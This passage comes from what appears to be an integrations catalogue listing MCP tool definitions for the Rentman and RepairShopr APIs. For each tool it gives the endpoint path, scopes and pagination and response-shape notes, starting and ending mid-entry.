argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks/{id}/files GET /api/v1/rentman/tasks/{id}/files. Scopes: api. rentman_get_tasks_by_id_subtasks (read) — Get Subtask collection -- With this endpoint, you can read, write, update and delete subtasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks/{id}/subtasks GET /api/v1/rentman/tasks/{id}/subtasks. Scopes: api. rentman_get_tasks_by_id_taskassignments (read) — Get TaskAssignment collection -- With this endpoint, you can read, write, update and delete task assignments. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /tasks/{id}/taskassignments GET /api/v1/rentman/tasks/{id}/taskassignments. Scopes: api. rentman_get_taskstatuses (read) — Get TaskStatus collection -- With this endpoint, you can read, write, update and delete task statuses. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taskstatuses GET /api/v1/rentman/taskstatuses. Scopes: api. rentman_get_taskstatuses_by_id (read) — Get TaskStatus item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taskstatuses/{id} GET /api/v1/rentman/taskstatuses/{id}. Scopes: api. rentman_get_taxclasses (read) — Get TaxClass collection -- Represents tax classes, which can be used to configure taxation rates. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taxclasses GET /api/v1/rentman/taxclasses. Scopes: api. rentman_get_taxclasses_by_id (read) — Get TaxClass item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /taxclasses/{id} GET /api/v1/rentman/taxclasses/{id}. Scopes: api. rentman_get_timeregistration (read) — Get TimeRegistration collection -- With this endpoint, you could retrieve time registrations and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistration GET /api/v1/rentman/timeregistration. Scopes: api. rentman_get_timeregistration_by_id (read) — Get TimeRegistration item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistration/{id} GET /api/v1/rentman/timeregistration/{id}. Scopes: api. rentman_get_timeregistration_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistration/{id}/files GET /api/v1/rentman/timeregistration/{id}/files. Scopes: api. rentman_get_timeregistration_by_id_timeregistrationactivities (read) — Get TimeRegistrationActivity collection -- With this endpoint, you could retrieve the activities of the time registrations and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistration/{id}/timeregistrationactivities GET /api/v1/rentman/timeregistration/{id}/timeregistrationactivities. Scopes: api. rentman_get_timeregistrationactivities (read) — Get TimeRegistrationActivity collection -- With this endpoint, you could retrieve the activities of the time registrations and their information. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistrationactivities GET /api/v1/rentman/timeregistrationactivities. Scopes: api. rentman_get_timeregistrationactivities_by_id (read) — Get TimeRegistrationActivity item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /timeregistrationactivities/{id} GET /api/v1/rentman/timeregistrationactivities/{id}. Scopes: api. rentman_get_vehicles (read) — Get Vehicle collection -- Represents vehicles. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /vehicles GET /api/v1/rentman/vehicles. Scopes: api. rentman_get_vehicles_by_id (read) — Get Vehicle item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /vehicles/{id} GET /api/v1/rentman/vehicles/{id}. Scopes: api. rentman_get_vehicles_by_id_file_folders (read) — Get FileFolder collection -- This endpoint exposes the folders that files can be in. A file folder is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /vehicles/{id}/file_folders GET /api/v1/rentman/vehicles/{id}/file_folders. Scopes: api. rentman_get_vehicles_by_id_files (read) — Get File collection -- All user-generated documents and uploaded files are available in this endpoint. Files are always linked to at least one other item. There are two types of links. The `file_item` and `file_itemtype` describe the item where the file originates from, for example a quotation or an import. If a file is attached in the user interface to another item, e.g. a project or an equipment item, this is done using the `item` and `itemtype` field. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /vehicles/{id}/files GET /api/v1/rentman/vehicles/{id}/files. Scopes: api. rentman_get_vehicles_by_id_tasks (read) — Get Task collection -- With this endpoint, you can read, write, update and delete tasks. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /vehicles/{id}/tasks GET /api/v1/rentman/vehicles/{id}/tasks. Scopes: api. rentman_get_warehousestatuses (read) — Get WarehouseStatus collection -- Get warehouse status objects. Collection response: `data` is an array, alongside `itemCount`, `limit`, `offset` and `next_page_url`. Page by sending the `cursor` value from `next_page_url` back as the `cursor` argument, not by incrementing `offset`; `next_page_url` is null on the last page. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /warehousestatuses GET /api/v1/rentman/warehousestatuses. Scopes: api. rentman_get_warehousestatuses_by_id (read) — Get WarehouseStatus item. Single-item response: the item is under `data`. Linked fields are reference strings such as "/equipment/12" -- the shape this tool's output schema describes -- unless `expand` names them, which inlines the linked object instead and is NOT described by the output schema. via GET /warehousestatuses/{id} GET /api/v1/rentman/warehousestatuses/{id}. Scopes: api. rentman_post_appointments (write) — Create Appointment item. The created or updated item is returned under `data`. via POST /appointments POST /api/v1/rentman/appointments. Scopes: api. rentman_post_appointments_by_id_appointmentcrew (write) — Create AppointmentCrew item. The created or updated item is returned under `data`. via POST /appointments/{id}/appointmentcrew POST /api/v1/rentman/appointments/{id}/appointmentcrew. Scopes: api. rentman_post_contactpersons_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /contactpersons/{id}/tasks POST /api/v1/rentman/contactpersons/{id}/tasks. Scopes: api. rentman_post_contacts (write) — Create Contact item. The created or updated item is returned under `data`. via POST /contacts POST /api/v1/rentman/contacts. Scopes: api. rentman_post_contacts_by_id_contactpersons (write) — Create ContactPerson item. The created or updated item is returned under `data`. via POST /contacts/{id}/contactpersons POST /api/v1/rentman/contacts/{id}/contactpersons. Scopes: api. rentman_post_contacts_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /contacts/{id}/tasks POST /api/v1/rentman/contacts/{id}/tasks. Scopes: api. rentman_post_contracts_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /contracts/{id}/tasks POST /api/v1/rentman/contracts/{id}/tasks. Scopes: api. rentman_post_crew_by_id_crewavailability (write) — Create CrewAvailability item. The created or updated item is returned under `data`. via POST /crew/{id}/crewavailability POST /api/v1/rentman/crew/{id}/crewavailability. Scopes: api. rentman_post_crew_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /crew/{id}/tasks POST /api/v1/rentman/crew/{id}/tasks. Scopes: api. rentman_post_equipment (write) — Create Equipment item. The created or updated item is returned under `data`. via POST /equipment POST /api/v1/rentman/equipment. Scopes: api. rentman_post_equipment_by_id_accessories (write) — Create Accessory item. The created or updated item is returned under `data`. via POST /equipment/{id}/accessories POST /api/v1/rentman/equipment/{id}/accessories. Scopes: api. rentman_post_equipment_by_id_alternatives (write) — Create Alternative item. The created or updated item is returned under `data`. via POST /equipment/{id}/alternatives POST /api/v1/rentman/equipment/{id}/alternatives. Scopes: api. rentman_post_equipment_by_id_equipmentsetscontent (write) — Create EquipmentSetContent item. The created or updated item is returned under `data`. via POST /equipment/{id}/equipmentsetscontent POST /api/v1/rentman/equipment/{id}/equipmentsetscontent. Scopes: api. rentman_post_equipment_by_id_serialnumbers (write) — Create SerialNumber item. The created or updated item is returned under `data`. via POST /equipment/{id}/serialnumbers POST /api/v1/rentman/equipment/{id}/serialnumbers. Scopes: api. rentman_post_equipment_by_id_stockmovements (write) — Create StockMovement item. The created or updated item is returned under `data`. via POST /equipment/{id}/stockmovements POST /api/v1/rentman/equipment/{id}/stockmovements. Scopes: api. rentman_post_equipment_by_id_suppliers (write) — Create Supplier item. The created or updated item is returned under `data`. via POST /equipment/{id}/suppliers POST /api/v1/rentman/equipment/{id}/suppliers. Scopes: api. rentman_post_equipment_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /equipment/{id}/tasks POST /api/v1/rentman/equipment/{id}/tasks. Scopes: api. rentman_post_folders (write) — Create Folder item. The created or updated item is returned under `data`. via POST /folders POST /api/v1/rentman/folders. Scopes: api. rentman_post_invoices_by_id_payments (write) — Create Payment item. The created or updated item is returned under `data`. via POST /invoices/{id}/payments POST /api/v1/rentman/invoices/{id}/payments. Scopes: api. rentman_post_invoices_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /invoices/{id}/tasks POST /api/v1/rentman/invoices/{id}/tasks. Scopes: api. rentman_post_leavemutation (write) — Create LeaveMutations item. The created or updated item is returned under `data`. via POST /leavemutation POST /api/v1/rentman/leavemutation. Scopes: api. rentman_post_leaverequest (write) — Create LeaveRequest item. The created or updated item is returned under `data`. via POST /leaverequest POST /api/v1/rentman/leaverequest. Scopes: api. rentman_post_leaverequest_by_id_timeregistration (write) — Create TimeRegistration item. The created or updated item is returned under `data`. via POST /leaverequest/{id}/timeregistration POST /api/v1/rentman/leaverequest/{id}/timeregistration. Scopes: api. rentman_post_projectrequests (write) — Create ProjectRequest item. The created or updated item is returned under `data`. via POST /projectrequests POST /api/v1/rentman/projectrequests. Scopes: api. rentman_post_projectrequests_by_id_projectrequestequipment (write) — Create ProjectRequestEquipment item. The created or updated item is returned under `data`. via POST /projectrequests/{id}/projectrequestequipment POST /api/v1/rentman/projectrequests/{id}/projectrequestequipment. Scopes: api. rentman_post_projects (write) — Create Project item. The created or updated item is returned under `data`. STABILITY: Rentman's API changelog reports the project creation and setup endpoints as BETA and subject to change; the pinned contract carries no per-operation marker, so treat the request and response shapes here as less settled than the rest of this provider. via POST /projects POST /api/v1/rentman/projects. Scopes: api. rentman_post_projects_by_id_costs (write) — Create ProjectCost item. The created or updated item is returned under `data`. STABILITY: Rentman's API changelog reports the project creation and setup endpoints as BETA and subject to change; the pinned contract carries no per-operation marker, so treat the request and response shapes here as less settled than the rest of this provider. via POST /projects/{id}/costs POST /api/v1/rentman/projects/{id}/costs. Scopes: api. rentman_post_projects_by_id_projectfunctiongroups (write) — Create ProjectFunctionGroup item. The created or updated item is returned under `data`. STABILITY: Rentman's API changelog reports the project creation and setup endpoints as BETA and subject to change; the pinned contract carries no per-operation marker, so treat the request and response shapes here as less settled than the rest of this provider. via POST /projects/{id}/projectfunctiongroups POST /api/v1/rentman/projects/{id}/projectfunctiongroups. Scopes: api. rentman_post_projects_by_id_projectfunctions (write) — Create ProjectFunction item. The created or updated item is returned under `data`. STABILITY: Rentman's API changelog reports the project creation and setup endpoints as BETA and subject to change; the pinned contract carries no per-operation marker, so treat the request and response shapes here as less settled than the rest of this provider. via POST /projects/{id}/projectfunctions POST /api/v1/rentman/projects/{id}/projectfunctions. Scopes: api. rentman_post_projects_by_id_subprojects (write) — Create Subproject item. The created or updated item is returned under `data`. STABILITY: Rentman's API changelog reports the project creation and setup endpoints as BETA and subject to change; the pinned contract carries no per-operation marker, so treat the request and response shapes here as less settled than the rest of this provider. via POST /projects/{id}/subprojects POST /api/v1/rentman/projects/{id}/subprojects. Scopes: api. rentman_post_projects_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /projects/{id}/tasks POST /api/v1/rentman/projects/{id}/tasks. Scopes: api. rentman_post_purchaseorders_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /purchaseorders/{id}/tasks POST /api/v1/rentman/purchaseorders/{id}/tasks. Scopes: api. rentman_post_quotes_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /quotes/{id}/tasks POST /api/v1/rentman/quotes/{id}/tasks. Scopes: api. rentman_post_repairs_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /repairs/{id}/tasks POST /api/v1/rentman/repairs/{id}/tasks. Scopes: api. rentman_post_serialnumbers_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /serialnumbers/{id}/tasks POST /api/v1/rentman/serialnumbers/{id}/tasks. Scopes: api. rentman_post_stocklocations_by_id_vehicles (write) — Create Vehicle item. The created or updated item is returned under `data`. via POST /stocklocations/{id}/vehicles POST /api/v1/rentman/stocklocations/{id}/vehicles. Scopes: api. rentman_post_subrentals_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /subrentals/{id}/tasks POST /api/v1/rentman/subrentals/{id}/tasks. Scopes: api. rentman_post_suppliers_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /suppliers/{id}/tasks POST /api/v1/rentman/suppliers/{id}/tasks. Scopes: api. rentman_post_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /tasks POST /api/v1/rentman/tasks. Scopes: api. rentman_post_tasks_by_id_subtasks (write) — Create Subtask item. The created or updated item is returned under `data`. via POST /tasks/{id}/subtasks POST /api/v1/rentman/tasks/{id}/subtasks. Scopes: api. rentman_post_tasks_by_id_taskassignments (write) — Create TaskAssignment item. The created or updated item is returned under `data`. via POST /tasks/{id}/taskassignments POST /api/v1/rentman/tasks/{id}/taskassignments. Scopes: api. rentman_post_taskstatuses (write) — Create TaskStatus item. The created or updated item is returned under `data`. via POST /taskstatuses POST /api/v1/rentman/taskstatuses. Scopes: api. rentman_post_timeregistration (write) — Create TimeRegistration item. The created or updated item is returned under `data`. via POST /timeregistration POST /api/v1/rentman/timeregistration. Scopes: api. rentman_post_vehicles (write) — Create Vehicle item. The created or updated item is returned under `data`. via POST /vehicles POST /api/v1/rentman/vehicles. Scopes: api. rentman_post_vehicles_by_id_tasks (write) — Create Task item. The created or updated item is returned under `data`. via POST /vehicles/{id}/tasks POST /api/v1/rentman/vehicles/{id}/tasks. Scopes: api. rentman_put_accessories_by_id (write) — Update Accessory item. The created or updated item is returned under `data`. via PUT /accessories/{id} PUT /api/v1/rentman/accessories/{id}. Scopes: api. rentman_put_alternatives_by_id (write) — Update Alternative item. The created or updated item is returned under `data`. via PUT /alternatives/{id} PUT /api/v1/rentman/alternatives/{id}. Scopes: api. rentman_put_appointmentcrew_by_id (write) — Update AppointmentCrew item. The created or updated item is returned under `data`. via PUT /appointmentcrew/{id} PUT /api/v1/rentman/appointmentcrew/{id}. Scopes: api. rentman_put_appointments_by_id (write) — Update Appointment item. The created or updated item is returned under `data`. via PUT /appointments/{id} PUT /api/v1/rentman/appointments/{id}. Scopes: api. rentman_put_contactpersons_by_id (write) — Update ContactPerson item. The created or updated item is returned under `data`. via PUT /contactpersons/{id} PUT /api/v1/rentman/contactpersons/{id}. Scopes: api. rentman_put_contacts_by_id (write) — Update Contact item. The created or updated item is returned under `data`. via PUT /contacts/{id} PUT /api/v1/rentman/contacts/{id}. Scopes: api. rentman_put_costs_by_id (write) — Update ProjectCost item. The created or updated item is returned under `data`. via PUT /costs/{id} PUT /api/v1/rentman/costs/{id}. Scopes: api. rentman_put_crewavailability_by_id (write) — Update CrewAvailability item. The created or updated item is returned under `data`. via PUT /crewavailability/{id} PUT /api/v1/rentman/crewavailability/{id}. Scopes: api. rentman_put_equipment_by_id (write) — Update Equipment item. The created or updated item is returned under `data`. via PUT /equipment/{id} PUT /api/v1/rentman/equipment/{id}. Scopes: api. rentman_put_equipmentsetscontent_by_id (write) — Update EquipmentSetContent item. The created or updated item is returned under `data`. via PUT /equipmentsetscontent/{id} PUT /api/v1/rentman/equipmentsetscontent/{id}. Scopes: api. rentman_put_folders_by_id (write) — Update Folder item. The created or updated item is returned under `data`. via PUT /folders/{id} PUT /api/v1/rentman/folders/{id}. Scopes: api. rentman_put_leaverequest_by_id (write) — Update LeaveRequest item. The created or updated item is returned under `data`. via PUT /leaverequest/{id} PUT /api/v1/rentman/leaverequest/{id}. Scopes: api. rentman_put_payments_by_id (write) — Update Payment item. The created or updated item is returned under `data`. via PUT /payments/{id} PUT /api/v1/rentman/payments/{id}. Scopes: api. rentman_put_projectrequestequipment_by_id (write) — Update ProjectRequestEquipment item. The created or updated item is returned under `data`. via PUT /projectrequestequipment/{id} PUT /api/v1/rentman/projectrequestequipment/{id}. Scopes: api. rentman_put_projectrequests_by_id (write) — Update ProjectRequest item. The created or updated item is returned under `data`. via PUT /projectrequests/{id} PUT /api/v1/rentman/projectrequests/{id}. Scopes: api. rentman_put_serialnumbers_by_id (write) — Update SerialNumber item. The created or updated item is returned under `data`. via PUT /serialnumbers/{id} PUT /api/v1/rentman/serialnumbers/{id}. Scopes: api. rentman_put_stockmovements_by_id (write) — Update StockMovement item. The created or updated item is returned under `data`. via PUT /stockmovements/{id} PUT /api/v1/rentman/stockmovements/{id}. Scopes: api. rentman_put_subtasks_by_id (write) — Update Subtask item. The created or updated item is returned under `data`. via PUT /subtasks/{id} PUT /api/v1/rentman/subtasks/{id}. Scopes: api. rentman_put_suppliers_by_id (write) — Update Supplier item. The created or updated item is returned under `data`. via PUT /suppliers/{id} PUT /api/v1/rentman/suppliers/{id}. Scopes: api. rentman_put_taskassignments_by_id (write) — Update TaskAssignment item. The created or updated item is returned under `data`. via PUT /taskassignments/{id} PUT /api/v1/rentman/taskassignments/{id}. Scopes: api. rentman_put_tasks_by_id (write) — Update Task item. The created or updated item is returned under `data`. via PUT /tasks/{id} PUT /api/v1/rentman/tasks/{id}. Scopes: api. rentman_put_taskstatuses_by_id (write) — Update TaskStatus item. The created or updated item is returned under `data`. via PUT /taskstatuses/{id} PUT /api/v1/rentman/taskstatuses/{id}. Scopes: api. rentman_put_timeregistration_by_id (write) — Update TimeRegistration item. The created or updated item is returned under `data`. via PUT /timeregistration/{id} PUT /api/v1/rentman/timeregistration/{id}. Scopes: api. rentman_put_vehicles_by_id (write) — Update Vehicle item. The created or updated item is returned under `data`. via PUT /vehicles/{id} PUT /api/v1/rentman/vehicles/{id}. Scopes: api. ================================================================================ ## RepairShopr URL: https://www.agenticfabriq.com/integrations/repairshopr Section: Integrated Tools RepairShopr — 184 MCP tools Provider key: repairshopr. Scopes: appointments_view_all, assets_create, assets_edit, assets_list_search, assets_view_details, contracts_delete, contracts_edit, contracts_list_search, customers_create, customers_delete, customers_edit, customers_list_search, customers_view_detail, documentation_allow_usage, documentation_create, documentation_delete, documentation_edit, estimates_create, estimates_delete, estimates_edit, estimates_list_search, estimates_view_details, global_admin, invoices_create, invoices_edit, invoices_list_search, invoices_view_details, leads_list_search, parts_orders_list_search, payments_create, payments_view_list, products_create, products_edit, products_edit_quantities, products_list_search, purchase_orders_edit, purchase_orders_list_search, purchase_orders_view_details, recurring_invoices_delete, recurring_invoices_edit, recurring_invoices_list, recurring_invoices_new, rmm_alerts_clear_manage, rmm_alerts_create, rmm_alerts_delete, rmm_alerts_list, scripts_execute, ticket_blueprints_create_ticket_from_blueprint, ticket_blueprints_manage, ticket_canned_responses_manage, ticket_timers_overview, ticket_workflows_manage, tickets_create, tickets_delete, tickets_edit, tickets_list_search, tickets_view_details, vendors_edit, vendors_list, vendors_new, vendors_view_details. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. repairshopr_delete_appointment_types_by_id (write, destructive) — Deletes an Appointment Type by ID -- Required permission: Global Admin via DELETE /appointment_types/{id} DELETE /api/v1/repairshopr/appointment_types/{id}. Scopes: global_admin. repairshopr_delete_appointments_by_id (write, destructive) — Deletes an Appointment by ID -- No special permissions required. via DELETE /appointments/{id} DELETE /api/v1/repairshopr/appointments/{id}. Scopes: none. repairshopr_delete_canned_responses_by_id (write, destructive) — Deletes a Canned Response -- Required permission: Ticket Canned Responses - Manage via DELETE /canned_responses/{id} DELETE /api/v1/repairshopr/canned_responses/{id}. Scopes: ticket_canned_responses_manage. repairshopr_delete_contacts_by_id (write, destructive) — Deletes a Contact -- Required permission: Customers - Edit Single-Customer Users can only access own contacts. via DELETE /contacts/{id} DELETE /api/v1/repairshopr/contacts/{id}. Scopes: customers_edit. repairshopr_delete_contracts_by_id (write, destructive) — Deletes a Contract by ID -- Required permission: Contracts - Delete via DELETE /contracts/{id} DELETE /api/v1/repairshopr/contracts/{id}. Scopes: contracts_delete. repairshopr_delete_customers_by_customer_id_payment_profiles_by_id (write, destructive) — Deletes a Payment Profile via DELETE /customers/{customer_id}/payment_profiles/{id} DELETE /api/v1/repairshopr/customers/{customer_id}/payment_profiles/{id}. Scopes: none. repairshopr_delete_customers_by_customer_id_phones_by_id (write, destructive) — Deletes a Phone by ID -- Required permission: Customers - Edit Single-Customer Users can only access own. via DELETE /customers/{customer_id}/phones/{id} DELETE /api/v1/repairshopr/customers/{customer_id}/phones/{id}. Scopes: customers_edit. repairshopr_delete_customers_by_id (write, destructive) — Deletes a Customer by ID -- Required permission: Customers - Delete via DELETE /customers/{id} DELETE /api/v1/repairshopr/customers/{id}. Scopes: customers_delete. repairshopr_delete_estimates_by_id (write, destructive) — Deletes an Estimate by ID -- Required permission: Estimates - Delete via DELETE /estimates/{id} DELETE /api/v1/repairshopr/estimates/{id}. Scopes: estimates_delete. repairshopr_delete_estimates_by_id_line_items_by_line_item_id (write, destructive) — Deletes a Line Item -- Required permission: Estimates - Edit via DELETE /estimates/{id}/line_items/{line_item_id} DELETE /api/v1/repairshopr/estimates/{id}/line_items/{line_item_id}. Scopes: estimates_edit. repairshopr_delete_invoices_by_id (write, destructive) — Deletes an invoice by ID -- Returns 200 even if the delete fails via DELETE /invoices/{id} DELETE /api/v1/repairshopr/invoices/{id}. Scopes: none. repairshopr_delete_invoices_by_id_line_items_by_line_item_id (write, destructive) — Deletes an a line item of an invoice by ID -- This deletes an existing Invoice's line item via DELETE /invoices/{id}/line_items/{line_item_id} DELETE /api/v1/repairshopr/invoices/{id}/line_items/{line_item_id}. Scopes: none. repairshopr_delete_portal_users_by_id (write, destructive) — Deletes a Portal User by ID -- Required permission: Global Admin via DELETE /portal_users/{id} DELETE /api/v1/repairshopr/portal_users/{id}. Scopes: global_admin. repairshopr_delete_products_by_id_delete_image (write, destructive) — Deletes a Product Image via DELETE /products/{id}/delete_image DELETE /api/v1/repairshopr/products/{id}/delete_image. Scopes: none. repairshopr_delete_products_by_product_id_product_skus_by_id (write, destructive) — Deletes a Product SKU by ID -- Required permission: Products - Edit via DELETE /products/{product_id}/product_skus/{id} DELETE /api/v1/repairshopr/products/{product_id}/product_skus/{id}. Scopes: products_edit. repairshopr_delete_rmm_alerts_by_id (write, destructive) — Deletes/Clears an RMM Alert by ID -- Required permission: RMM Alerts - Delete Single-Customer Users can only access own RMM Alerts. via DELETE /rmm_alerts/{id} DELETE /api/v1/repairshopr/rmm_alerts/{id}. Scopes: rmm_alerts_delete. repairshopr_delete_schedules_by_id (write, destructive) — Deletes a Schedule by ID -- Required permission: Recurring Invoices - Delete via DELETE /schedules/{id} DELETE /api/v1/repairshopr/schedules/{id}. Scopes: recurring_invoices_delete. repairshopr_delete_schedules_by_id_line_items_by_schedule_line_item_id (write, destructive) — Removes a Line Item from an Invoice Schedule -- Required permission: Recurring Invoices - Edit `POST /schedules/{id}/remove_line_item` is an older alias for this endpoint and behaves identically. via DELETE /schedules/{id}/line_items/{schedule_line_item_id} DELETE /api/v1/repairshopr/schedules/{id}/line_items/{schedule_line_item_id}. Scopes: recurring_invoices_edit. repairshopr_delete_tickets_by_id (write, destructive) — Deletes a Ticket by ID -- Required permission: Tickets - Delete Single-Customer Users can only access own tickets. via DELETE /tickets/{id} DELETE /api/v1/repairshopr/tickets/{id}. Scopes: tickets_delete. repairshopr_delete_tickets_by_ticket_id_worksheet_results_by_id (write, destructive) — Deletes a Worksheet Result -- Required permissions: "Tickets - View Details" or "Tickets - View 'Their Ticket' Details (assigned to them)" Single-Customer Users can only access own tickets. via DELETE /tickets/{ticket_id}/worksheet_results/{id} DELETE /api/v1/repairshopr/tickets/{ticket_id}/worksheet_results/{id}. Scopes: tickets_view_details. repairshopr_delete_wiki_pages_by_id (write, destructive) — Deletes a Wiki Page by ID -- Required permission: Documentation - Delete via DELETE /wiki_pages/{id} DELETE /api/v1/repairshopr/wiki_pages/{id}. Scopes: documentation_delete. repairshopr_get_appointment_types (read) — Returns a paginated list of Appointment Types -- Required permission: Global Admin via GET /appointment_types GET /api/v1/repairshopr/appointment_types. Scopes: global_admin. repairshopr_get_appointment_types_by_id (read) — Retrieves an Appointment Type by ID -- Required permission: Global Admin via GET /appointment_types/{id} GET /api/v1/repairshopr/appointment_types/{id}. Scopes: global_admin. repairshopr_get_appointments (read) — Returns a paginated list of Appointments -- Required permission: Appointments - View All (see-own never restricted) via GET /appointments GET /api/v1/repairshopr/appointments. Scopes: appointments_view_all. repairshopr_get_appointments_by_id (read) — Retrieves an Appointment by ID -- No special permissions required. via GET /appointments/{id} GET /api/v1/repairshopr/appointments/{id}. Scopes: none. repairshopr_get_callerid (read) — Get Caller ID via GET /callerid GET /api/v1/repairshopr/callerid. Scopes: none. repairshopr_get_canned_responses (read) — Returns a list of Canned Responses with a query -- Required permission: Ticket Canned Responses - Manage via GET /canned_responses GET /api/v1/repairshopr/canned_responses. Scopes: ticket_canned_responses_manage. repairshopr_get_canned_responses_settings (read) — Returns the settings for Canned Responses -- Required permission: Ticket Canned Responses - Manage Single-Customer Users can only access own canned responses. via GET /canned_responses/settings GET /api/v1/repairshopr/canned_responses/settings. Scopes: ticket_canned_responses_manage. repairshopr_get_contacts (read) — Returns a paginated list of Contacts -- Required permission: Customers 